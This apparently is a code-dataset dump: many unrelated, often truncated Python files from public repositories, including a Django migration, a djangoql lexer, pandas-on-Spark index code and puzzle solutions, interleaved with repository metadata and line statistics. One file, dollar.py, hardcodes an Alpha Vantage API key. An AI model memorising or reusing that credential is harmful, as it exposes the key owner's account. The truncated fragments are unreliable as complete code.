2021-09-02T06:30:02.000Z
2022-03-28T16:53:05.000Z
# Generated by Django 3.1.5 on 2021-07-13 07:22
36.727273
129
0.618812
# Generated by Django 3.1.5 on 2021-07-13 07:22 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('classroom', ...
0
0
0
1,020
0
0
0
31
112
dc4949ec7770471dd8d5f3920a8442c211a7a49b
1,584
py
Python
src/ch02/plot_height_multipanel.py
AAGAN/tsunami
82635516dcb7f85eb6434ffdb98a9ddc4c1403ad
[ "MIT" ]
103
2018-03-29T23:39:31.000Z
2022-03-29T12:24:25.000Z
src/ch02/plot_height_multipanel.py
AAGAN/tsunami
82635516dcb7f85eb6434ffdb98a9ddc4c1403ad
[ "MIT" ]
13
2018-04-06T14:33:04.000Z
2022-03-21T19:50:12.000Z
src/ch02/plot_height_multipanel.py
AAGAN/tsunami
82635516dcb7f85eb6434ffdb98a9ddc4c1403ad
[ "MIT" ]
32
2018-04-01T19:54:12.000Z
2022-03-27T14:06:03.000Z
""" plot_water_height_multipanel.py Reads output of tsunami and plots the results in an image file. """ import argparse parser = argparse.ArgumentParser() parser.add_argument('input_file', help='text file output by the tsunami simulator (chapter 2 version)') args = parser.parse_args() input_file = args.input_file im...
25.967213
103
0.667298
""" plot_water_height_multipanel.py Reads output of tsunami and plots the results in an image file. """ import argparse parser = argparse.ArgumentParser() parser.add_argument('input_file', help='text file output by the tsunami simulator (chapter 2 version)') args = parser.parse_args() input_file = args.input_file im...
0
0
0
0
0
0
0
0
0
7397c45fd6ce87f11502a2835e27ad1692511b42
1,751
py
Python
Leet-Code/Backspace String Compare.py
aminzayer/My-Python-Code
475e99a134f11e5784478c1d68bce7033ffe02a2
[ "MIT" ]
2
2022-02-16T22:24:14.000Z
2022-02-24T16:59:42.000Z
Leet-Code/Backspace String Compare.py
aminzayer/My-Python-Code
475e99a134f11e5784478c1d68bce7033ffe02a2
[ "MIT" ]
null
null
null
Leet-Code/Backspace String Compare.py
aminzayer/My-Python-Code
475e99a134f11e5784478c1d68bce7033ffe02a2
[ "MIT" ]
null
null
null
# Backspace String Compare """ Given two strings s and t, return true if they are equal when both are typed into empty text editors. '#' means a backspace character. Note that after backspacing an empty text, the text will continue empty. Example 1: Input: s = "ab#c", t = "ad#c" Output: true Explanation: Both s and...
24.661972
138
0.467733
# Backspace String Compare """ Given two strings s and t, return true if they are equal when both are typed into empty text editors. '#' means a backspace character. Note that after backspacing an empty text, the text will continue empty. Example 1: Input: s = "ab#c", t = "ad#c" Output: true Explanation: Both s and...
0
0
0
1,078
0
0
0
0
23
501996cb5578902068a7dde08a1ee813c501b3a5
921
py
Python
pytdd/dollar.py
marcelotrevisani/tdd-presentation
a8851c5df4c15dcfe47c16384a82d7a883e2102d
[ "MIT" ]
null
null
null
pytdd/dollar.py
marcelotrevisani/tdd-presentation
a8851c5df4c15dcfe47c16384a82d7a883e2102d
[ "MIT" ]
null
null
null
pytdd/dollar.py
marcelotrevisani/tdd-presentation
a8851c5df4c15dcfe47c16384a82d7a883e2102d
[ "MIT" ]
null
null
null
URL_API = r"https://www.alphavantage.co/query?function=CURRENCY_EXCHANGE_RATE" API_KEY = "FJOSXYTTSW4VUT7H"
27.088235
79
0.661238
import requests URL_API = r"https://www.alphavantage.co/query?function=CURRENCY_EXCHANGE_RATE" API_KEY = "FJOSXYTTSW4VUT7H" class Dollar: def __init__(self, value): self._value = value def __add__(self, dollar_add): return Dollar(self._value + dollar_add.value) @property def value(s...
0
36
0
736
0
0
0
-6
45
70cf10f92c92a45bd7efc7454c1bd861a6c5caf3
3,525
py
Python
experiments/mj60/sync_data.py
sweigart/pygama
3c5fe4c69230814933b2de879b9a305ff0d4ad5e
[ "Apache-2.0" ]
13
2019-05-01T01:37:30.000Z
2022-03-18T08:52:19.000Z
experiments/mj60/sync_data.py
sweigart/pygama
3c5fe4c69230814933b2de879b9a305ff0d4ad5e
[ "Apache-2.0" ]
111
2019-03-25T00:50:48.000Z
2022-03-30T17:13:43.000Z
experiments/mj60/sync_data.py
sweigart/pygama
3c5fe4c69230814933b2de879b9a305ff0d4ad5e
[ "Apache-2.0" ]
52
2019-01-24T21:05:04.000Z
2022-03-07T23:37:55.000Z
#!/usr/bin/env python3 import os import glob import json from datetime import datetime import subprocess as sp def main(): """ sync MJ60 data with cenpa-rocks. - rsync the entire Data/MJ60 directory using the $DATADIR variable - set flags to then remove raw/raw_to_dsp/tier2 files Hopefully we can r...
29.621849
79
0.601135
#!/usr/bin/env python3 import os import glob import json from datetime import datetime import subprocess as sp from pprint import pprint from pygama.utils import * def main(): """ sync MJ60 data with cenpa-rocks. - rsync the entire Data/MJ60 directory using the $DATADIR variable - set flags to then rem...
0
0
0
0
0
0
0
9
44
61df2b933869a21dbcd5ef0a8ddbcdd052aeb71c
453
py
Python
VHDTools/PyVinil/setup.py
maerd-zinbieL/x86
88a5ba9894a5f1319dd3aff13696ecf73803c765
[ "MIT" ]
null
null
null
VHDTools/PyVinil/setup.py
maerd-zinbieL/x86
88a5ba9894a5f1319dd3aff13696ecf73803c765
[ "MIT" ]
null
null
null
VHDTools/PyVinil/setup.py
maerd-zinbieL/x86
88a5ba9894a5f1319dd3aff13696ecf73803c765
[ "MIT" ]
null
null
null
from distutils.core import setup setup( name='PyVinil', version='0.1.0', author='Igor Bonadio', author_email='igorbonadio@gmail.com', packages=['pyvinil', 'pyvinil.test'], url='https://github.com/igorbonadio/pyvinil', license='LICENSE.txt', description='PyVinil is a Python library, whic...
34.846154
133
0.693157
from distutils.core import setup setup( name='PyVinil', version='0.1.0', author='Igor Bonadio', author_email='igorbonadio@gmail.com', packages=['pyvinil', 'pyvinil.test'], url='https://github.com/igorbonadio/pyvinil', license='LICENSE.txt', description='PyVinil is a Python library, whic...
0
0
0
0
0
0
0
0
0
db5922ac640569bd2ff71faaaf243e178ad47431
8,641
py
Python
boto3_mock/mock_client.py
yutaka-kabu/pandas-redshift
1e5f808d110ca82b77b28a383695743622e14d27
[ "BSD-3-Clause" ]
null
null
null
boto3_mock/mock_client.py
yutaka-kabu/pandas-redshift
1e5f808d110ca82b77b28a383695743622e14d27
[ "BSD-3-Clause" ]
3
2021-08-10T01:01:59.000Z
2021-08-10T02:39:37.000Z
boto3_mock/mock_client.py
yutaka-kabu/pandas-redshift
1e5f808d110ca82b77b28a383695743622e14d27
[ "BSD-3-Clause" ]
1
2021-09-24T02:19:57.000Z
2021-09-24T02:19:57.000Z
import botocore.session botocore_session = botocore.session.get_session() botocore_loader = botocore_session.get_component("data_loader")
33.10728
78
0.594607
import copy import jsonschema from jsonschema import ValidationError from datetime import datetime from dateutil.tz import tzlocal from botocore import xform_name from botocore.model import ServiceModel from botocore.serialize import create_serializer import botocore.session botocore_session = botocore.session.get...
0
2,376
0
5,647
0
175
0
76
225
cf09709decd334b101b925de361fe7d9fdd3b7a0
1,240
py
Python
bbdev/utils.py
ekivemark/BlueButtonDev
c751a5c52a83df6b97ef2c653a4492d959610c42
[ "Apache-2.0" ]
null
null
null
bbdev/utils.py
ekivemark/BlueButtonDev
c751a5c52a83df6b97ef2c653a4492d959610c42
[ "Apache-2.0" ]
7
2020-02-11T23:00:50.000Z
2021-12-13T19:41:39.000Z
bbdev/utils.py
ekivemark/BlueButtonDev
c751a5c52a83df6b97ef2c653a4492d959610c42
[ "Apache-2.0" ]
2
2018-10-06T21:46:22.000Z
2020-10-10T16:10:42.000Z
""" bluebuttondev.bbdev FILE: utils Created: 6/16/15 12:11 AM Basic conversion tools """ __author__ = 'Mark Scrimshire:@ekivemark' def email_mask(email=""): """ mask and potentially shorten an email address Useful for communications :param email: :return: """ if email=="": retu...
20
70
0.565323
""" bluebuttondev.bbdev FILE: utils Created: 6/16/15 12:11 AM Basic conversion tools """ __author__ = 'Mark Scrimshire:@ekivemark' def str2int(inp): output = 0 + int(inp) return output def str2bool(inp): output = False if inp.upper() == "TRUE": output = True elif inp.upper() == "FALSE": ...
0
0
0
0
0
592
0
0
92
9c243c1755c8320c9607913fee3e4483abf4735a
2,026
py
Python
testsuite/tests/apicast/policy/caching/test_caching_policy_allow.py
dlaso99/3scale-tests
b31a3b3596af6d632b393e383c0417ea56bd95ca
[ "Apache-2.0" ]
5
2021-11-04T14:09:24.000Z
2021-12-23T13:48:36.000Z
testsuite/tests/apicast/policy/caching/test_caching_policy_allow.py
dlaso99/3scale-tests
b31a3b3596af6d632b393e383c0417ea56bd95ca
[ "Apache-2.0" ]
41
2021-11-03T14:27:21.000Z
2022-03-29T14:46:16.000Z
testsuite/tests/apicast/policy/caching/test_caching_policy_allow.py
dlaso99/3scale-tests
b31a3b3596af6d632b393e383c0417ea56bd95ca
[ "Apache-2.0" ]
12
2021-11-03T17:28:31.000Z
2021-11-30T12:28:25.000Z
""" Rewrite spec/functional_specs/policies/caching/caching_allow_policy_spec.rb """
36.178571
87
0.685094
""" Rewrite spec/functional_specs/policies/caching/caching_allow_policy_spec.rb """ import pytest from testsuite import rawobj from testsuite.capabilities import Capability @pytest.fixture(scope="module") def policy_settings(): "Add caching policy configured as 'caching_type': 'allow'" return rawobj.PolicyCo...
0
1,804
0
0
0
0
0
23
113
ceb1b9eef7aadc583f322e87617783f52bf1e3a2
5,475
py
Python
python/pyspark/pandas/indexes/numeric.py
akhalymon-cv/spark
76191b9151b6a7804f8894e53eef74106f98b787
[ "Apache-2.0" ]
35,083
2015-01-01T03:05:13.000Z
2022-03-31T21:57:40.000Z
python/pyspark/pandas/indexes/numeric.py
akhalymon-cv/spark
76191b9151b6a7804f8894e53eef74106f98b787
[ "Apache-2.0" ]
32,117
2015-01-01T00:00:24.000Z
2022-03-31T23:54:58.000Z
python/pyspark/pandas/indexes/numeric.py
akhalymon-cv/spark
76191b9151b6a7804f8894e53eef74106f98b787
[ "Apache-2.0" ]
29,687
2015-01-01T02:40:43.000Z
2022-03-31T16:49:33.000Z
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
27.651515
99
0.628493
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
0
0
0
3,596
0
658
0
120
271
2357e757eeab0c39ba22803f30a4f577979d9970
2,010
py
Python
common/func_plots.py
jdvelasq/demand-forecast-using-time-series-clustering
5d08f225076dbd370944202143e85e46a8962655
[ "MIT" ]
null
null
null
common/func_plots.py
jdvelasq/demand-forecast-using-time-series-clustering
5d08f225076dbd370944202143e85e46a8962655
[ "MIT" ]
null
null
null
common/func_plots.py
jdvelasq/demand-forecast-using-time-series-clustering
5d08f225076dbd370944202143e85e46a8962655
[ "MIT" ]
1
2021-07-17T19:28:24.000Z
2021-07-17T19:28:24.000Z
__author__ = "Jose Fernando Montoya Cardona" __credits__ = ["Jose Fernando Montoya Cardona"] __email__ = "jomontoyac@unal.edu.co"
36.545455
110
0.681592
from statsmodels.graphics.tsaplots import plot_acf from statsmodels.graphics.tsaplots import plot_pacf from sklearn.manifold import TSNE import matplotlib.pyplot as plt import pandas as pd import numpy as np __author__ = "Jose Fernando Montoya Cardona" __credits__ = ["Jose Fernando Montoya Cardona"] __email__ = "jomon...
2
0
0
0
0
1,573
0
76
224
4855f833b139d223b0bf8bfee33e39906051e030
952
py
Python
src/genie/libs/parser/iosxe/tests/ShowStackPower/cli/equal/golden_output_c3850_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
204
2018-06-27T00:55:27.000Z
2022-03-06T21:12:18.000Z
src/genie/libs/parser/iosxe/tests/ShowStackPower/cli/equal/golden_output_c3850_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
468
2018-06-19T00:33:18.000Z
2022-03-31T23:23:35.000Z
src/genie/libs/parser/iosxe/tests/ShowStackPower/cli/equal/golden_output_c3850_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
309
2019-01-16T20:21:07.000Z
2022-03-30T12:56:41.000Z
expected_output = { "power_stack": { "Powerstack-1": { "switch_num": 1, "allocated_power": 200, "topology": "Stndaln", "unused_power": 485, "power_supply_num": 1, "total_power": 715, "mode": "SP-PS", "reserved_p...
27.2
35
0.423319
expected_output = { "power_stack": { "Powerstack-1": { "switch_num": 1, "allocated_power": 200, "topology": "Stndaln", "unused_power": 485, "power_supply_num": 1, "total_power": 715, "mode": "SP-PS", "reserved_p...
0
0
0
0
0
0
0
0
0
d1bd8f9d238d2aa19bb05482a8ad5ba9649d115d
630
py
Python
tests/sample/climate_sample_test.py
south-coast-science/scs_core
81ad4010abb37ca935f3a31ac805639ef53b1bcf
[ "MIT" ]
3
2019-03-12T01:59:58.000Z
2020-09-12T07:27:42.000Z
tests/sample/climate_sample_test.py
south-coast-science/scs_core
81ad4010abb37ca935f3a31ac805639ef53b1bcf
[ "MIT" ]
1
2018-04-20T07:58:38.000Z
2021-03-27T08:52:45.000Z
tests/sample/climate_sample_test.py
south-coast-science/scs_core
81ad4010abb37ca935f3a31ac805639ef53b1bcf
[ "MIT" ]
4
2017-09-29T13:08:43.000Z
2019-10-09T09:13:58.000Z
#!/usr/bin/env python3 """ Created on 16 Nov 2020 @author: Bruno Beloff (bruno.beloff@southcoastscience.com) """ import json from scs_core.data.json import JSONify from scs_core.sample.climate_sample import ClimateSample # -------------------------------------------------------------------------------------------...
21
118
0.555556
#!/usr/bin/env python3 """ Created on 16 Nov 2020 @author: Bruno Beloff (bruno.beloff@southcoastscience.com) """ import json from scs_core.data.json import JSONify from scs_core.sample.climate_sample import ClimateSample # -------------------------------------------------------------------------------------------...
0
0
0
0
0
0
0
0
0
0bedc3e831ab7fb8bdaaae07208c05d1cd94b9d2
680
py
Python
classifier.py
monkey-cli/monkey-trainer
50ad34f1ace21ac4435806c3521e4cab5e16c540
[ "MIT" ]
null
null
null
classifier.py
monkey-cli/monkey-trainer
50ad34f1ace21ac4435806c3521e4cab5e16c540
[ "MIT" ]
1
2021-02-12T18:57:24.000Z
2021-02-12T18:58:15.000Z
classifier.py
monkey-cli/monkey-trainer
50ad34f1ace21ac4435806c3521e4cab5e16c540
[ "MIT" ]
null
null
null
import cv2 import subprocess imageURI = "dummy.png" image = cv2.imread(imageURI) cv2.imshow("Focus window", image) # Device type, simple check isIOS = True scriptPath = None if isIOS: scriptPath = "./monkey-scripts/monkey-screenshot-ios.sh" else: scriptPath = "./monkey-scripts/monkey-screenshot-android.sh" ...
22.666667
69
0.630882
import cv2 import subprocess imageURI = "dummy.png" image = cv2.imread(imageURI) cv2.imshow("Focus window", image) # Device type, simple check isIOS = True scriptPath = None if isIOS: scriptPath = "./monkey-scripts/monkey-screenshot-ios.sh" else: scriptPath = "./monkey-scripts/monkey-screenshot-android.sh" ...
0
0
0
0
0
0
0
0
0
f913182b513ae01ec8491113fe37ccedc418d446
363
py
Python
examples/example_stdIn.py
Prince2347X/pydoodle
c5dbf5c43eb120eed45a44a8de30848b271eb1b2
[ "MIT" ]
11
2021-04-05T07:33:32.000Z
2021-11-21T16:50:59.000Z
examples/example_stdIn.py
Prince2347X/pydoodle
c5dbf5c43eb120eed45a44a8de30848b271eb1b2
[ "MIT" ]
null
null
null
examples/example_stdIn.py
Prince2347X/pydoodle
c5dbf5c43eb120eed45a44a8de30848b271eb1b2
[ "MIT" ]
3
2021-05-03T13:53:58.000Z
2021-06-26T05:11:50.000Z
import pydoodle c = pydoodle.Compiler(clientId="client-id", clientSecret="client-secret") with open(file="test2.py") as f: script = f.read() f.close() result = c.execute(script=script, language="python3", stdIn="1st Input ||2nd Input") # Double pipe(||) is used to sepa...
33
105
0.630854
import pydoodle c = pydoodle.Compiler(clientId="client-id", clientSecret="client-secret") with open(file="test2.py") as f: script = f.read() f.close() result = c.execute(script=script, language="python3", stdIn="1st Input ||2nd Input") # Double pipe(||) is used to sepa...
0
0
0
0
0
0
0
0
0
b39c4cdcb731753ed352c502c1d23118d2de8c0b
3,231
py
Python
kratos/tests/test_delete_model_parts_modeler.py
hbayraktaroglu/Kratos
6b71869ca7adb36a798e0cb11b34287fdc482590
[ "BSD-4-Clause" ]
null
null
null
kratos/tests/test_delete_model_parts_modeler.py
hbayraktaroglu/Kratos
6b71869ca7adb36a798e0cb11b34287fdc482590
[ "BSD-4-Clause" ]
null
null
null
kratos/tests/test_delete_model_parts_modeler.py
hbayraktaroglu/Kratos
6b71869ca7adb36a798e0cb11b34287fdc482590
[ "BSD-4-Clause" ]
null
null
null
# Importing the Kratos Library import KratosMultiphysics import KratosMultiphysics.KratosUnittest as KratosUnittest if __name__ == '__main__': KratosMultiphysics.Logger.GetDefaultOutput().SetSeverity(KratosMultiphysics.Logger.Severity.WARNING) KratosUnittest.main()
46.826087
105
0.7264
# Importing the Kratos Library import KratosMultiphysics import KratosMultiphysics.KratosUnittest as KratosUnittest from KratosMultiphysics.modelers.delete_model_parts_modeler import DeleteModelPartsModeler class TestDeleteModelPartModeler(KratosUnittest.TestCase): def testDeleteModelPartModelerOneModelPart(self):...
0
0
0
2,843
0
0
0
69
45
64652ddca6102b9868aadc77bb15fee6c313ab7e
548
py
Python
angalabiri/shop/migrations/0004_productvariation_varation_type.py
dark-codr/ebiangala
0af3de29b2afa71df3e138cd16ecddc69fbd597d
[ "MIT" ]
1
2021-03-25T14:06:23.000Z
2021-03-25T14:06:23.000Z
angalabiri/shop/migrations/0004_productvariation_varation_type.py
dark-codr/ebiangala
0af3de29b2afa71df3e138cd16ecddc69fbd597d
[ "MIT" ]
5
2021-09-08T03:08:46.000Z
2022-03-12T00:56:35.000Z
angalabiri/shop/migrations/0004_productvariation_varation_type.py
me-edavids/ebiangala
0af3de29b2afa71df3e138cd16ecddc69fbd597d
[ "MIT" ]
null
null
null
# Generated by Django 3.1.7 on 2021-03-31 22:21
28.842105
201
0.620438
# Generated by Django 3.1.7 on 2021-03-31 22:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shop', '0003_product_old_stock'), ] operations = [ migrations.AddField( model_name='productvariation', name='varatio...
0
0
0
434
0
0
0
19
46
c5492ac6722300d26d1822224e145070df8b46c3
918
py
Python
day09/day09.py
alcatrazEscapee/AdventOfCode2021
a473b01b8931791b4a1fd03bf05b286ed0ac9f85
[ "MIT" ]
4
2021-12-07T22:25:51.000Z
2021-12-22T18:15:25.000Z
day09/day09.py
alcatrazEscapee/AdventOfCode2021
a473b01b8931791b4a1fd03bf05b286ed0ac9f85
[ "MIT" ]
null
null
null
day09/day09.py
alcatrazEscapee/AdventOfCode2021
a473b01b8931791b4a1fd03bf05b286ed0ac9f85
[ "MIT" ]
1
2021-12-17T00:47:26.000Z
2021-12-17T00:47:26.000Z
# Day 9: Smoke Basin # Leaderboard Rank: 60 / 20 from utils import get_input if __name__ == '__main__': main(get_input())
28.6875
86
0.603486
# Day 9: Smoke Basin # Leaderboard Rank: 60 / 20 from utils import FiniteGrid, get_input from collections import Counter def main(text: str): grid: FiniteGrid[int] = FiniteGrid.of_str(text, default='9').map_values(int) risk = 0 for pos in grid.locations(): height = grid[pos] if all(heigh...
0
0
0
0
0
721
0
22
45
d29f6c144da74d1fa33b5a79532d015a19b058b9
3,834
py
Python
djangoql/lexer.py
Bodyhealer/djangoql
4e95317997a9543444a1eea22c6e71710525661c
[ "MIT" ]
null
null
null
djangoql/lexer.py
Bodyhealer/djangoql
4e95317997a9543444a1eea22c6e71710525661c
[ "MIT" ]
null
null
null
djangoql/lexer.py
Bodyhealer/djangoql
4e95317997a9543444a1eea22c6e71710525661c
[ "MIT" ]
null
null
null
from __future__ import unicode_literals import ply.lex as lex
22.686391
76
0.532603
from __future__ import unicode_literals import ply.lex as lex from ply.lex import TOKEN from .exceptions import DjangoQLLexerError class DjangoQLLexer(object): def __init__(self, **kwargs): self._lexer = lex.lex(module=self, **kwargs) self.reset() def reset(self): self.text = '' ...
0
1,004
0
2,673
0
0
0
25
68
f1ca6994cfa86a641058969e3ef4a37d988330ff
3,539
py
Python
Python3-Learn/AdventureWithRio.py
nikhiljain-413/Hacktoberfest2021_beginner
56b008c9ed294c3fc23b44fa13faced99948236d
[ "MIT" ]
65
2021-10-01T07:02:29.000Z
2022-03-23T10:41:37.000Z
Python3-Learn/AdventureWithRio.py
nikhiljain-413/Hacktoberfest2021_beginner
56b008c9ed294c3fc23b44fa13faced99948236d
[ "MIT" ]
82
2021-10-01T14:21:42.000Z
2022-03-29T03:43:58.000Z
Python3-Learn/AdventureWithRio.py
nikhiljain-413/Hacktoberfest2021_beginner
56b008c9ed294c3fc23b44fa13faced99948236d
[ "MIT" ]
210
2021-10-01T07:02:39.000Z
2022-03-27T17:41:00.000Z
#AUTHOR: Rio Cantre #Python3 Concept: Adventure Game #GITHUB: https://github.com/RioCantre import random weather = ["sunny", "rainy", "stormy", "windy", "snowy", "dark"] ambience = random.choice(weather) tools = ["flashlight", "stick", "bat", "gun", "phone", "knife"] weapon = random.choice(tools) emotions = ["scared...
32.768519
76
0.631534
#AUTHOR: Rio Cantre #Python3 Concept: Adventure Game #GITHUB: https://github.com/RioCantre import time import random weather = ["sunny", "rainy", "stormy", "windy", "snowy", "dark"] ambience = random.choice(weather) tools = ["flashlight", "stick", "bat", "gun", "phone", "knife"] weapon = random.choice(tools) emotio...
0
0
0
0
0
2,942
0
-10
184
57a23ec08a099a9c054fd60256f6bc69af42a90b
6,268
py
Python
enaml/core/block_compiler.py
xtuzy/enaml
a1b5c0df71c665b6ef7f61d21260db92d77d9a46
[ "BSD-3-Clause-Clear" ]
1,080
2015-01-04T14:29:34.000Z
2022-03-29T05:44:51.000Z
enaml/core/block_compiler.py
xtuzy/enaml
a1b5c0df71c665b6ef7f61d21260db92d77d9a46
[ "BSD-3-Clause-Clear" ]
308
2015-01-05T22:44:13.000Z
2022-03-30T21:19:18.000Z
enaml/core/block_compiler.py
xtuzy/enaml
a1b5c0df71c665b6ef7f61d21260db92d77d9a46
[ "BSD-3-Clause-Clear" ]
123
2015-01-25T16:33:48.000Z
2022-02-25T19:57:10.000Z
#------------------------------------------------------------------------------ # Copyright (c) 2013-2017, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. #------------------------------------------------...
33.164021
79
0.628271
#------------------------------------------------------------------------------ # Copyright (c) 2013-2017, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. #------------------------------------------------...
0
0
0
5,780
0
0
0
20
114